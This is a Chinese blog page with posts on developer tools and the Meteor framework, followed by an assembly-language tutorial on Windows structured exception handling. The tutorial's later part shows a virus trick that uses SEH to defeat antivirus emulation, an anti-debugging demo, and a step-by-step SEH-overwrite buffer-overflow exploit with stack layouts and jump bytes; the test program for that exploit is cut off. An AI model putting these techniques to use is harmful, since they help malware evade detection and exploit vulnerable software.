xiaoguozi's Blog
Pay it forword - 我并不觉的自豪,我所尝试的事情都失败了······习惯原本生活的人不容易改变,就算现状很糟,他们也很难改变,在过程中,他们还是放弃了······他们一放弃,大家就都是输家······让爱传出去,很困难,也无法预料,人们需要更细心的观察别人,要随时注意才能保护别人,因为他们未必知道自己要什么·····

作为一个软件开发者,你不可避免地需要用到各种工具来设计、理解、编辑任何程序,本文作者按类型总结了10类开发者须知的工具。CSDN摘译如下:

免责声明:“最好”的软件工具通常属于主观看法,也许你并不同意我的观点,但是也可以从中获取所需。

1. 版本控制工具

无论你是在100人的团队,还是一个人做设计、开发,版本控制工具都能让你从中获益。

通过版本控制工具,你可以保留同一文件中在不同时期的版本,这对图表和二进制文件都适用,尤其适合文本类型文件。

主流版本控制工具可以分为两种:集中式和分布式。集中式版本控制工具需要一个服务器存储仓库,你可以在合适的时候把代码提交到服务器上。而分布式版 本控制工具(DVCS)则不需要中心服务器:每个仓库的使用者都有自己的本地缓存,将更新从一个本地仓库传递到另一个的过程非常简单只需要从源系统 push或者从目标系统pull即可。

目前最流行的开源版本控制工具要数Subvision(SVN)、Git以及Mercurial(hg)了,其中SVN是集中式版本控制工具,Git和Mercurial则是分布式的。

值得注意的是,有很多知名网站提供仓库托管服务,比如bitbucket.org、SourceForge、GoogleCode以及Github等等,这些网站都提供免费托管服务,但在具体服务支持与收费上各不相同。

2. 文件比较工具

无论你是想要与版本控制系统合并代码,还是仅仅想要比较两个文件的不同,文件比较工具都是非常有用的。其中diff是一个非常有名的命令行比较工具,我也喜欢Beyond Compare这款图形界面比较工具——可惜它并非免费,但是并不贵而且简单、强大。除此之外,常见文件比较工具还有SourceGearDiffMerge(免费、跨平台=Windows/OS X/Linux),Compare It!(收费、仅支持Windows),DeltaWalker(较贵、仅支持OSX)以及UltraCompare(较贵、跨平台)。

3. 编辑器

处理文本文件的难以取决于你使用的软件。重量级的编辑器,如Eclipse、NetBeans、Visual Studio都属于是IDE(integrateddevelopment environment,集成开发环境),如果你需要做特定的工作,他们都非常强大。但有时候你仅仅想要简单、快速地编辑文件,系统自带的编辑器 (Windows下的Notepad和Machine下的TextEdit)虽然轻量但是不够强大。这里介绍几个中量级的编辑器:Windows平台的Notepad++、Mac平台的TextWrangler都是不错的免费编辑器,还有GNUemacs、Vim这样强大、可扩展的自由软件。

4. 构建工具

如果你使用IDE进行开发,仅仅单击“Build”即可以为你编译程序的源代码。但是注意:编译软件时常常有很多细节的编译选项,而使用IDE时常常被深藏在复杂的菜单中。我认为,专业的程序员应该使用可定义的构建工具,选择正确的编译选项达到最优效果。

5. 脚本工具

有时候你需要快速整合多个软件以达到某个目的,这时很难选择C或者C++这样需要编译的编程语言,因为它们在执行前需要先编译成可执行的文件。此时,更好的解决方案是脚本语言,它们通常集成在操作系统中,编写一个脚本甚至可以在多台计算机中运行。

常见现代脚本语言有Python、Ruby、Groovy、awk、Perl等等。不论你更喜欢那种,我建议你选择其中一款。我很喜欢Python,不仅因为它简单、鼓励好的编程规范,而且拥有强大的调试工具——基于Eclipse的PyDev。借助PyDev,你可以设置断点、并端部执行你的脚本。

6. 数值分析工具

除非你打算做一些及其简单的项目,或者为嵌入式系统进行逻辑编程,你常常会需要对数据有一个直观地了解——图表、或者曲线图,又或者仅仅想要解一个方程,这时候你会需要数据分析工具,比如MATLABMathematicaMathCAD,它们都非免费,甚至价格昂贵,但是价格强大。

如果你的需求简单,SciLabOctavePyLab这些MATLAB的免费“克隆”版本也提供了某些MATLAB的基本功能,语法也与MATLAB相近或相同。其中PyLab用Python实现,如果你懂Python,或许可以将其利用到科学计算领域。

7. 文档工具

工程环境中,你常常需要和他人分享想法,很多软件都可以做到这点,比如使用微软的Visio可以提供流程图、表,Word来编辑文档,PowerPoint来做演示。但它们都非免费,有时候你更需要免费或者更特化的文档工具。

  • 图形可视化工具——我常用的是基于命令行的graphviz,以及拥有交互界面的yEd。    
  • 流程图——使用图形表达思路。Quick Sequence Diagram Editor很基本,但是足以帮助你达到绘制这些图形的目的。    
  • 排版工具——你可以使用WYSIWYG工具,也可以选择非WYSIWYG软件,又或者TeX、LaTeX,随个人喜好。    
  • 代码自文档工具——Doxygen很常见,可以将代码中的注释转化成文档,JavaDoc则是转为Java设计的文档工具。    

8. 终端以及通信工具

有时候你会需要通过串口进行通信,这时你就需要终端工具了,在Web浏览器出现之前,这更为常见。曾经与Windows绑定的HyperTerminal不够强大,不建议使用,而且微软在Vista之后也不再集成它。我个人更喜欢PuTTYtelTeraTermPro。其它通信工具如FTP及其安全变种SFTP、SCP方面我最喜欢Cyberduck,现在支持Mac和Windows。

9. 软件QA(质量保障)工具

对于开发者来说,为避免bug你肯定需要QA工具。我不是很清楚这方面,但是知道大概可以分以下几类:

  • 静态分析工具。它是一种分析软件的工具,既可以分析软件源代码,也可以分析编译后的文件。最出名的莫过于面向C语言的lint,lint会像老是一样在你代码的错误之处标出红线,标出你的错误。Java语言有FindBugs对应,能够帮助衡量代码复杂度——通常好的程序设计函数比较小,如果某个函数超过20-30行代码,你可以考虑将其分解了,这样也更便于设计和调试。    
  • 单元测试和代码覆盖率。大 型软件测试通常极难,这是公认的;但是使用“单元测试”测试更小的软件模块却简单得多。但是单元测试同样也有不擅长的领域,比如嵌入式系统,虽然可以通过 交叉编译在PC上寻找bug,但并不能保证在嵌入式机器上效果一致。单元测试也有一定的技巧,比如可以编写可重复利用的测试脚本。代码覆盖工具我仅见过同 事使用Cantata++,但并不便宜。    
  • 代码“美化器”。如果你和同事使用相同的编码风格,更容易寻找出简单的语法错误。通常我们都有各自的编程习惯,但是可以通过软件达到统一编程风格的效果——比如自动缩进、tab空格转换等等。我使用过Uncrustify,以及其GUI工具UniversalIndentGU。    

10. 基本命令行工具

虽然GUI对于计算机交互是革命性的改进,但还有很多事用命令行做起来更加简单,比如使用脚本能够轻易组合多个程序。如果你使用OS X或者Linux,那计算机上一般已经预装了UNIX命令行工具,Windows用户可以下载相应的二进制文件

其它,诸如7zipCPU-ZSystem Explorer之类的软件虽然没有放在这个列表中,但也都是非常实用的工具。

原文链接:EmbeddedRelated.com

posted @ 2013-05-10 09:17 小果子 阅读(410) | 评论 (0)编辑 收藏

Meteor是一个新鲜出炉的现代网站开发平台,目前发布的是开发预览版0.5.8,代码以GPL协议开源。大家可以去 GitHub上关注它。Meteor本质上是Node.JS应用的开发,继承了Ruby on Rails、Node.JS、MongoDB API等框架的基础特性,模糊了服务器端和客户端,弱化网络连接质量造成的影响。

如果简单定义“现代网站”是一个实时交互、超高性能、具备非凡体验的网站,那么 Meteor就是一个可为开发者以简单高效而且充满乐趣的方式进行现代网站开发的平台,以往开发周期需要几周到几个月的项目,现在可能只需要几个小时或者 一个周末的时间就可以完成。Meteor构建的应用体验,会让人觉得浏览器的刷新按钮和地址栏是多余的。

Meteor在2012年4月首次发布,该消息一经发布,便迅速占据了Haceker News头条宝座,并且成为Hacker News上最热门的文章之一。本文是作者Sacha Greif使用Meteor开发的心得体会,他认为Meteor会让实时Web App在未来成为主流。

下面是对原文的翻译:

在过去6个月里,我使用Meteor做了点东西( Telescope,Meteor开源的主要应用程序之一),我觉得有必要分享一下我的感受。


首先声明:在和Meteor代码打交道的每一天里,我的大部分时间都在使Telescope变更加可用,而不是去深入挖掘Meteor,所以我不敢 自称是Meteor方面的专家,而之所以能很快上手,很大一部分原因是因为它是一个非常好用且高效的框架,即使在你不精通的情况下也能开发出非常出色的应 用。

简单 智能

Meteor的一大特色就是可以轻松构建高品质的实时Web应用程序,相信很多程序员都是因为这一特性而熟知Meteor的。当开始使用Meteor时,会让你的生活变得很简单。

安装Meteor也非常简单,只需一行命令即可。随即便创建第一个应用程序,就连部署也都非常简单,由于Meteor提供免费的托管,因此你可以在线部署,供世界各地的人来浏览。


此外,使用Meteor编写的应用程序运行速度也非常快。例如,当你的项目引用JS或CSS文件时,这些文件将会被自动加载,而Meteor也提供了内置的用户管理,自动完成UI部件的加载。

Meteor九大特性

  1. 纯JavaScript
  2. 实时页面更新
  3. 干净、强大的数据同步
  4.  延迟补偿
  5. 代码热推送
  6. 敏感代码运行于受限环境中
  7.  完全独立的应用包
  8. 互操作
  9. 智能的包

实时的未来

说实话,实时框架是Meteor的最大卖点,实时Web应用程序会让人联想到多人游戏和实时在线文档编辑,但在使用Meteor时,我快速发现实时也可以编写出更加实用且非常好的应用程序,而这种实时很有可能会成为未来几年内Web应用程序的默认编写方式。

在桌面应用系统中,如果一个目录被两个窗口同时打开,那么当你在其中一个窗口删除一个文件后,你必须刷新另一个窗口,那个文件才会“消失”。因此,这就缺乏了实时性,而Meteor框架就可弥补这方面的不足。

此外,实时也影响到我们的编码风格。你无需刷新页面或使用特定的回调逻辑来使应用程序做出响应:每一个块数据都会自动监测、任何与UI元素有关的数据也会自动更新。

下面提供一个案例,一旦有人投票,就响应upvote按钮的“disable”类,模板代码(Meteor使用 Handlebars):

1
2
3
4
<div class="post">
  <a href="#" class="upvote btn {{upvotedClass}}">⬆<a />
  <h3><a href="{{url}}">{{title}}</a></h3>
</div>

下面是与之匹配的控制器代码:

1
2
3
4
5
6
7
8
9
10
11
12
Template.post.helpers({
  upvotedClass: function() {
    // test if user is logged in, and if their userId
    // is included in the 'upvoters' array
    var userId = Meteor.userId();
    if (userId && !_.include(this.upvoters, userId)) {
      return 'upvoteable';
    } else {
      return 'disabled'
    }
  }
});

这段代码妙在何处呢?如果用户的userid从upvoters数组中删除(例如,实现一个“cancel upvote”操作),这会自动在UI上反应出来,无需编写额外的代码。

一切就绪了吗?

现在,你可能会随着这一行行代码思考些东西:“好,它看起来很棒,但是它真的就可以作为现实应用( real-world apps)吗?”

答案肯定是依情况而定。Meteor当然可以作为现实应用使用。Telescope和Sidebar(基于Telescope)就是非常完美的例子。

但并不是说Meteor就可以完全作为现实应用使用。Meteor没有服务端渲染功能,有些网站对加载速度要求特别高,比如电子商务网站,而有些则需要在旧的/老的设备上运行,比如过时的手机。

Meteor Book

目前,我和 Tom Coleman(Meteor开源生态系统的主要贡献者之一,创建Meteor包管理器 Meteorite)正在专注于 The Meteor Book,教你如何使用Meteor编写基本的应用程序。

更多精彩内容,大家可以来到Hacker News上和我一起 探讨。(编译/张红月 责编/付江)


学习资料:

官方提供的3个示例:

GitHub项目页:

Meteor@StackOverflow

文档:

FAQ:

posted @ 2013-03-22 09:41 小果子 阅读(669) | 评论 (0)编辑 收藏
前一段时间,在看异常处理一章内容的时候,发现这一部分还真的挺有尿水:)所以上网搜了一下有关内容,呦嗬,还挺丰富的。当然有些自己还是看不懂,现在就将这些宝贝拿出来跟大家共享一下。
首先我们看一下使用异常处理的几种情况:
A. 用来处理非致命的错误
B. 对API函数的参数合法性的检验(假设参数都是合法的,只有遇到异常的时候进行合法性检验)
C. 处理致命错误(退出时最好的选择,但是有的时候可以用异常处理函数在程序退出前释放资源,删除临时文件等,甚至可以详细记录产生异常的指令位置和环境)
D. 处理“计划内”的异常(我们可能更关心这种情况,因为可以做很多的手脚,哈哈)
接着我们看看Windows下异常处理的两种方式:1使用筛选器2 SEH异常处理
一、 使用筛选器
因为这里我要重点关注的是SEH的处理方式,所以还是简单的提一下筛选器处理方式。筛选器异常处理是通过异常回调函数来指定程序处理异常。这种方式的回调函数必须是唯一的,设置新的回调函数后以前的将失效。适用于进程范围。看一下这个函数的定义
Invoke SetUnhandledExecpionFilter,offset_Handler
Mov lpPrevHandler,eax
(先到这里吧有些难受,明天接着来)
######题外话:想起“司令”的一句话,觉得挺有道理:明天不一定美好,但是更美好的明天一定会到来!祝福所有的朋友。######

上午有会,什么也没有做,下午?还有会,我tm晕了,中午不睡觉了,不把事情做不完心里不踏实。
回调函数的格式:
_Handlerproc pExecptionInfo
看看pExecptionInfo这个指针参数指向的一个数据结构
EXCEPTION_POINTERS STRUCT 
              pExceptionRecord  DWORD      ?              
              ContextRecord    DWORD      ? 
            EXCEPTION_POINTERS ENDS
下面介绍 EXCEPTION_RECORD和CONTEXT结构的定义: 
  
;//===================== 以下是两个成员的详细结构=========================

        EXCEPTION_RECORD STRUCT 
          ExceptionCode        DWORD      ?      ;//异常码 
          ExceptionFlags        DWORD      ?      ;//异常标志 
          pExceptionRecord      DWORD      ?      ;//指向另外一个EXCEPTION_RECORD的指针 
          ExceptionAddress      DWORD      ?      ;//异常发生的地址 
          NumberParameters      DWORD      ?      ;//下面ExceptionInformation所含有的dword数目 
          ExceptionInformation  DWORD EXCEPTION_MAXIMUM_PARAMETERS dup(?) 
   EXCEPTION_RECORDENDS            ;//EXCEPTION_MAXIMUM_PARAMETERS ==15 

;//=============================具体解释================================

ExceptionCode 异常类型,SDK里面有很多类型,你可以在windows.inc里查找STATUS_来找到更多的异常类型,下面只给出hex值,具体标识定义请查阅windows.inc,你最可能遇到的几种类型如下: 

              C0000005h----读写内存冲突 
              C0000094h----非法除0 
              C00000FDh----堆栈溢出或者说越界 
              80000001h----由Virtual Alloc建立起来的属性页冲突 
              C0000025h----不可持续异常,程序无法恢复执行,异常处理例程不应处理这个异     常 
              C0000026h----在异常处理过程中系统使用的代码,如果系统从某个例程莫名奇妙的返回,则出现此代码, 如果RtlUnwind时没有Exception Record参数也同样会填入这个代码 
              80000003h----调试时因代码中int3中断 
              80000004h----处于被单步调试状态 

              注:也可以自己定义异常代码,遵循如下规则: 
              ____________________________________________________________________

              位:      31~30            29~28          27~16          15~0 
              ____________________________________________________________________
              含义:    严重程度          29位            功能代码        异常代码 
                        0==成功        0==Mcrosoft    MICROSOFT定义  用户定义 
                        1==通知        1==客户 
                        2==警告          28位 
                        3==错误        被保留必须为0 
ExceptionFlags 异常标志 
              0----可修复异常 
              1----不可修复异常 
              2----正在展开,不要试图修复什么,需要的话,释放必要的资源 
pExceptionRecord 如果程序本身导致异常,指向那个异常结构 
ExceptionAddress 发生异常的eip地址 
ExceptionInformation 附加消息,在调用RaiseException可指定或者在异常号为C0000005h即内存异常时含义如下 
              第一个dword 0==读冲突 1==写冲突 
              第二个dword 读写冲突地址 
;//================================解释结束============================
                                                          off. 
        CONTEXT STRUCT                   ; _ 
          ContextFlags  DWORD      ?     ;  |            +0 
          iDr0          DWORD      ?       ;  |            +4 
          iDr1          DWORD      ?      ;  |            +8 
          iDr2          DWORD      ?      ;  >调试寄存器  +C 
          iDr3          DWORD      ?      ;  |            +10 
          iDr6          DWORD      ?      ;  |            +14 
          iDr7          DWORD      ?      ; _|            +18 
          FloatSave    FLOATING_SAVE_AREA <>  ;浮点寄存器区 +1C~~~88h 
          regGs        DWORD      ?      ;--|            +8C 
          regFs        DWORD      ?      ;  |/段寄存器    +90  
          regEs        DWORD      ?      ;  |/            +94            
          regDs        DWORD      ?      ;--|            +98 
          regEdi        DWORD      ?      ;____________    +9C 
          regEsi        DWORD      ?      ;      |  通用  +A0 
          regEbx        DWORD      ?      ;      |  寄    +A4 
          regEdx        DWORD      ?      ;      |  存    +A8 
          regEcx        DWORD      ?      ;      |  器    +AC 
          regEax        DWORD      ?      ;_______|___组_  +B0      
          regEbp        DWORD      ?      ;++++++++++++++++ +B4 
          regEip        DWORD      ?      ;    |控制        +B8 
          regCs        DWORD      ?      ;    |寄存        +BC 
          regFlag      DWORD      ?      ;    |器组        +C0 
          regEsp        DWORD      ?      ;    |            +C4 
          regSs        DWORD      ?      ;++++++++++++++++ +C8 
          ExtendedRegisters db MAXIMUM_SUPPORTED_EXTENSION dup(?) 
        CONTEXT ENDS 
;//============================以上是两个成员的详细结构============        
程序使用筛选器异常处理时可以通过查看上面结构中的regEip来找到产生异常的地址!调试的时候可以改变EIP的值以达到越过异常程序,转到“安全”的地方。
最后看一下筛选器异常处理回调函数的返回值
EXECPTION_EXECUTE_HANDLER           1;进程被终止,终止前不会出现提示错误的对话框
EXECPTION_CONTINUE_SEARCH 0;同样终止程序,显示错误对话框
EXECPTION_CONTINUE_EXECUTION -1;系统将CONTECT设置回去,继续执行程序

使用筛选器程序是最简单的处理异常方法,不足:1 不便于封装。2 处理是全局性的也就是无法对每个线程或子程序设置一个私有的异常处理程序进行异常处理。
进入正题:SEH异常处理
首先解释一下什么是SEH异常处理:SEH("Structured Exception Handling",即结构化异常处理.是操作系统提供给程序设计者的强有力的处理程序错误或异常的武器。
下面结合冷雨飘心的一个SEH异常处理程序来说明具体的用法:
;//====================================================================
;// ex. 2,by Hume,2001  线程相关的异常处理 
;//====================================================================
.386 
.model flat, stdcall 
option casemap :none  ; case sensitive 
include hd.h          ;//相关的头文件,你自己维护一个吧 
;//============================ 
.data 
szCap    db "By Hume[AfO],2001...",0 
szMsgOK db "It's now in the Per_Thread handler!",0 
szMsgERR1 db "It would never Get here!",0 
buff    db 200 dup(0) 

.code 
_start: 
;//========prog begin==================== 
  ASSUME FS:NOTHING 
        push    offset perThread_Handler 
       push    fs:[0]      
        mov    fs:[0],esp          ;//建立SEH的基本ERR结构,如果不明白,就仔细研究一下吧 
        xor    ecx,ecx                          
        mov    eax,200     
        cdq                ;//双字扩展到四个字节,因为是除法
       div    ecx 
                                                  ;//以下永远不会被执行 
 invoke  MessageBox,NULL,addr szMsgERR1,addr szCap,MB_OK+MB_ICONINFORMATION 
        pop    fs:[0] 
        add    esp,4 
        invoke    ExitProcess,NULL        

;//============================ 
perThread_Handler: 
 invoke    MessageBox,NULL,addr szMsgOK,addr szCap,MB_OK+MB_ICONINFORMATION 
        mov    eax,1          ;//ExceptionContinueSearch,不处理,由其他例程或系统处理 
        ;mov    eax,0          ;//ExceptionContinueExecution,表示已经修复CONTEXT,可从异常发生处继续执行 
    ret                        ;//这里如果返回0,你会陷入死循环,不断跳出对话框.... 

;//=============================Prog Ends============== 
end _start
程序本身很简单,注释也很详细。我们来看看是如何注册回调函数的
push    offset perThread_Handler 
       push    fs:[0]      
        mov    fs:[0],esp 
仅仅三个语句就解决了~那么为什么要用fs这个段寄存器呢?这里又涉及一个重要的内容:TIB(Thread Information Block线程信息块)。我们来看看这个重要的数据结构(引用了《罗聪浅谈利用SEB实现反跟踪》的部分内容)
TEB(Thread Environment Block) 在 Windows 9x 系 列中被称为 TIB(Thread Information Block),它记录了线程的重要信息,而且每一个线程都会对应一个 TEB 结 构。 Matt Pietrek 大牛已经给我们列出了它的结构,我就不多说啦,见下:(摘 自 Matt Pietrek 的 Under The Hood - MSJ 1996) 

//=========================================================== 
// file: TIB.H 
// Author: Matt Pietrek 
// From: Microsoft Systems Journal "Under the Hood", May 1996 
//=========================================================== 
#pragma pack(1) 

typedef struct _EXCEPTION_REGISTRATION_RECORD 

  struct _EXCEPTION_REGISTRATION_RECORD * pNext; 
  FARPROC                                pfnHandler; 
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD; 

typedef struct _TIB 

PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list 
PVOID  pvStackUserTop;        // 04h Top of user stack 
PVOID  pvStackUserBase;        // 08h Base of user stack 

union                          // 0Ch (NT/Win95 differences) 

  struct  // Win95 fields 
  { 
      WORD    pvTDB;          // 0Ch TDB 
      WORD    pvThunkSS;      // 0Eh SS selector used for thunking to 16 bits 
      DWORD  unknown1;      // 10h 
  } WIN95; 

  struct  // WinNT fields 
  { 
      PVOID SubSystemTib;    // 0Ch 
      ULONG FiberData;        // 10h 
  } WINNT; 
} TIB_UNION1; 

PVOID  pvArbitrary;            // 14h Available for application use 
struct _tib *ptibSelf;          // 18h Linear address of TIB structure 

union                          // 1Ch (NT/Win95 differences) 

  struct  // Win95 fields 
  { 
      WORD    TIBFlags;          // 1Ch 
      WORD    Win16MutexCount;    // 1Eh 
      DWORD  DebugContext;      // 20h 
      DWORD  pCurrentPriority;  // 24h 
      DWORD  pvQueue;            // 28h Message Queue selector 
  } WIN95; 

  struct  // WinNT fields 
  { 
      DWORD unknown1;            // 1Ch 
      DWORD processID;            // 20h 
      DWORD threadID;            // 24h 
      DWORD unknown2;            // 28h 
  } WINNT; 
} TIB_UNION2; 

PVOID*  pvTLSArray;            // 2Ch Thread Local Storage array 

union                          // 30h (NT/Win95 differences) 

  struct  // Win95 fields 
  { 
      PVOID*  pProcess;      // 30h Pointer to owning process database 
  } WIN95; 
} TIB_UNION3; 

} TIB, *PTIB; 
#pragma pack()
让我们抬头看看上面的 Matt Pietrek 的代码,其中有这么一行: 

PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list 

注 意到 PEXCEPTION_REGISTRATION_RECORD 这个定义,它表示 pvExcept 这个变量正 是 exception record list 的入口,这个入口位于整个结构的 0 偏移处。同时, 在 M 的 Intel i386 Windows NT/2K/XP 内核中,每当创建一个线程,OS 均会为每个线程分配 TEB ,而 且 TEB 永远放在 fs 段选择器指定的数据段的 0 偏移处。 
这样一来,你就明白了 SEH 注册的偏移为什么是在 fs:[0] 了吧? 
事实上 Windows 系统都是通过这种方法来为应用程序提供信息的,比如有这样的例子: 
struct _tib *ptibSelf;          // 18h Linear address of TIB structure 
DWORD threadID;                // 24h 

Windows 提供了一个 API :GetCurrentThreadID(),它的内部工作原理其实是这样的:(利用了上面的这两个地址) 

mov eax, fs:[18h]    ;因为 18h 偏移处是 TIB 结构的线性偏移地址 
mov eax, [eax + 24h] ;因为 24h 偏移处是 threadID 的地址 
ret                  ;把 eax 中储存的 threadID 地址返回
注:为什么要声明assume fs:nothing?因为masm编译器默认将fs段寄存器定义为error,所以程序在使用fs前必须将它启动!
接下来看看SEH的回调函数
_Handler proc _lpExecptionRecord, _lpSEH,lp_context,lp_DispatcherContext
 
_lpExecptionRecord指向一个EXECPTION_RECORD结构。
lp_context 指向一个CONTEXT结构。
_lpSEH  指向注册回调函数时使用的EXXCEPTION_REGISTRATION结构的地址。
返回值有四种取值:
ExecptionContinueExecution ( 0 :系统将线程环境设置为_lpContext指向的CONTEXT结构并继续执行。
ExceptionContinueSearch(1):回调函数拒绝处理这个异常,系统通过EXECPTION_REGISTRATION结构的prev字段得到前一个回调函数的地址并调用它。
ExecptionNestedExecption (2):发生异常嵌套。
ExecptionCollidedUnwind  (3):异常展开操作。这一个部分不做多讲,有兴趣的可以看看罗云彬的书,其实是很重要的一部分。
如果一个程序既有筛选器异常处理又有SEH异常处理,而且系统还有默认的异常处理机制,那么他们被调用的先后次序是怎么样的呢?
发生异常时系统的处理顺序(by Jeremy Gordon): 
    1.系统首先判断异常是否应发送给目标程序的异常处理例程,如果决定应该发送,并且目标程序正在被调试,则系统挂起程序并向调试器发送EXCEPTION_DEBUG_EVENT消息.呵呵,这不是正好可以用来探测调试器的存在吗? 
    2.如果你的程序没有被调试或者调试器未能处理异常,系统就会继续查找你是否安装了线程相关的异常处理例程,如果你安装了线程相关的异常处理例程,系统就把异常发送给你的程序seh处理例程,交由其处理.
    3.每个线程相关的异常处理例程可以处理或者不处理这个异常,如果他不处理并且安装了多个线程相关的异常处理例程,可交由链起来的其他例程处理. 
    4.如果这些例程均选择不处理异常,如果程序处于被调试状态,操作系统仍会再次挂起程序通知debugger. 
    5.如果程序未处于被调试状态或者debugger没有能够处理,并且你调用SetUnhandledExceptionFilter安装了最后异 常处理例程的话,系统转向对它的调用. 
6.如果你没有安装最后异常处理例程或者他没有处理这个异常,系统会调用默认的系统处理程序,通常显示一个对话框, 你可以选择关闭或者最后将其附加到调试器上的调试按钮.如果没有调试器能被附加于其上或者调试器也处理不了,系统就调用ExitProcess终结程序. 
    7.不过在终结之前,系统仍然对发生异常的线程异常处理句柄来一次展开,这是线程异常处理例程最后清理的机会.

说了这么多你也许会问SEH异常处理到底有什么用处呢?呵呵,且听小生慢慢道来~~~
第一道菜:病毒程序巧用SEH
这里简单的说一下如何利用SEH异常处理程序来躲避下毒软件的反病毒引擎。一个反病毒引擎在一个程序运行的时候会模拟程序的代码,当发现程序代码的疑点比较多的时候会报告成病毒。看看下面这段程序:
start:call Set_SEH;这句其实就是 push offset CONTINUE
;      JMP Set_SEH
CONTINUE:mov esp, [esp+8]; [ESP+8]存储的是旧的堆栈地址。
push offset Start_Virus ;----_ 把Start_Virus 的地址压栈,当作返回地址
ret;----跳到Start_Virus去,是不是很magic? 

Set_SEH:sub edx, edx            ;Edx =0 
Assume fs:nothing 
push dword ptr fs:[edx];把指去 _EXCEPTIONAL_REGISTRATION_RECORD 结构的指针入栈
mov fs:[edx], esp;安装一个seh
mov [edx],edx;引起一个内存读写冲突,发生异常因为edx=0 
;如果反病毒引擎不处理异常,不进入seh 处理程序(即 CONTINUE: ,继续模 
;拟下个指令,也就是jmp start,那么就进入一个死循环,可能会引起死机。               
jmp start       
Start_Virus:    .....
是不是很简单呢?就是让反病毒引擎不处理这个人为的异常时进入死循环~!!
第二道菜:TEB反跟踪初探
如果你的记性够好的话一定记得上面介绍过的TEB(TIB)线程信息块结构中有这么一句:
PVOID*  pProcess;      // 30h Pointer to owning process database 
这 个偏移地址处的内容非常有用,它指向本线程的拥有者的 PDB(Process Database) 的线性地址。当你用动态调试器,例 如 OllyDbg 的时候,调试器是把调试的对象作为一个子线程进行跟踪的,在这种情况下,被调试的对象的“拥有者”就是调试器本身,也就是说,它 的 TEB 的 30h 处的偏移指向的内容肯定不为 0 ,这样,我们就可以利用这一点,判断 30h 偏移指向的内容,来判断是否有调试器跟踪。 
最后给出一个 Anti-Debug 的例子程序,用 MASM 编译完成后,请用 OllyDbg 来加载调试一下,看看与正常的运行结果有什么不同。 
;********************************************************* 
;程序名称:演示利用 TEB 结构进行 Anti-Debug 
;          请用 OllyDbg 进行调试 
;适用OS:Windows NT/2K/XP 
;作者:罗聪 
;日期:2003-2-9 
;出处:::URL::http://www.LuoCong.com(老罗的缤纷天地)  
;注意事项:如欲转载,请保持本程序的完整,并注明: 
;转载自“老罗的缤纷天地”(::URL::http://www.LuoCong.com)  
;********************************************************* 

.386 
.model flat, stdcall 
option casemap:none 

include /masm32/include/windows.inc 
include /masm32/include/kernel32.inc 
include /masm32/include/user32.inc 
includelib /masm32/lib/kernel32.lib 
includelib /masm32/lib/user32.lib 

.data 
szCaption  db  "Anti-Debug Demo by LC, 2003-2-9", 0 
szDebugged  db  "Hah, let me guess... U r dEBUGGINg me! ", 0 
szFine      db  "Good boy, no dEBUGGEr detected!", 0 

.code 
main: 
  assume  fs:nothing
  mov    eax, fs:[30h]              ;指向 PDB(Process Database)
  movzx  eax, byte ptr [eax + 2h];无符号数带零扩展
  or      al, al
  jz      _Fine
_Debugged:
  push    MB_OK or MB_ICONHAND
  push    offset szCaption
  push    offset szDebugged
  jmp    _Output
_Fine:
  push    MB_OK or MB_ICONINformATION
  push    offset szCaption
  push    offset szFine
_Output: 
  push    NULL
  call    MessageBoxA
  invoke  ExitProcess, 0
 end main
第三道菜:利用SEH执行shellcode
假设异常处理例程入口00401053,程序刚开始执行时esp是0012ffc4,以前的fs:[0]是0012ffe0
建立了TIB结构的第一个成员后堆栈的情况如下:

  内存低地址
  
| E0 |12ffbc(esp)
| FF |
| 12 |  --ERR结构的第一个成员
|_00_|
| 53 |12ffc0
| 10 |
| 40 |  --ERR结构的第二个成员
| 00 |

  内存高地址

  好了然后程序CALL一个函数,函数里面有一个局部变量并且在往其分配的空间中写入的数据时产生溢出.这时堆栈如下

____
|    |12f000 局部变量分配的空间,并且向12ffc0方向溢出了.
|    |
....
....
|_EBP|12ffb4 函数中保存老的EBP
| xx |
| xx |
| xx |
|_EIP|12ffb8 call函数时EIP进栈
| xx |
| xx |
|_xx_|
| E0 |12ffbc(esp)   {当SEH起作用的时候EBX刚好指向这个地址(也可说总是指向当前ERR结构)}
| FF |
| 12 |  --ERR结构的第一个成员
|_00_|
| 53 |12ffc0
| 10 |
| 40 |  --ERR结构的第二个成员
|_00_|
|    |12ffc4
   继 续看,假设溢出代码一直到了12ffc4,然后call的函数该返回了,因为保存的EIP被溢出代码代替所以程序出错(不会不出错吧?),这样ESH开始 起作用了(注:在这期间系统要执行一些操作,所以EBX才会指向当前ERR).这样一来程序就会跳到12ffc0里的地址去执行!而12ffc0里的东东 早已不是原来的00401053了.这样我们不就改变了程序的流向了么.12ffc0中该写入什么内容呢?应是内存中JMP EBX的代码的地址.这样跳 了3下后最终就会跳到12ffbc去执行.这个四字节可是宝贵的啊现在假设JMP EBX这个指令在内存中的地址是0x77e33f4d
那下具体看一下现在堆栈的情况:

| EB |12ffbc(esp)   {当ESH起作用的时候EBX刚好指向这个地址(也可说总是指向当前ERR结构)}
| 06 |
| 90 |  --ERR结构的第一个成员,执行JMP EBX后就到这儿来执行了(EB 06是短跳转JMP 12FFC4的机器码)
|_90_|  后面的90是nop空指令的机器码.
| 4D |12ffc0
| 3F |
| E3 |  --ERR结构的第二个成员,出错处理函数的入口地址(现在成了JMP EBX的地址)
|_77_|
|    |12ffc4
....

  好现在来看看12ffc4里面有些什么代码.(简单的说这段代码的作用是计算真正的shellcode的起始地址,然后跳过去执行.

低地址

|    |12f000(shellcode开始地址)
....
....
| 81 |12ffc4
| C3 |  add ebx,FFFFF03Ch(ebx=12ffc4,指令长度6,作用计算计算shellcode地址)
| 3C |
| F0 |
| FF |
| FF |
| FF |12ffca jmp ebx
| D3 |  

高地址

 
测试程序

-------------------------SEH.ASM------------------
.386
.model flat,stdcall
option casemap:none

include        ../include/user32.inc
includelib    ../lib/user32.lib
include        ../include/kernel32.inc
includelib    ../lib/kernel32.lib



.data
hello        db '利用一个读INI文件的API来演示WIN2000本地溢出',0
lpFileName    db './seh.ini',0            
lpAppName    db 'iam',0
lpKeyName    db 'czy',0            
lpDefault    db 'ddd',0
szCap     db "SEH TEST",0
szMsgOK db "OK,the exceptoin was handled by final handler!",0
szMsgERR1 db "It would never Get here!",0

.code

testov    proc
    local   lpReturnedString[2224] : byte    ;返回的字串搞成本地变量这样就和C语言一样了,它是在栈中    
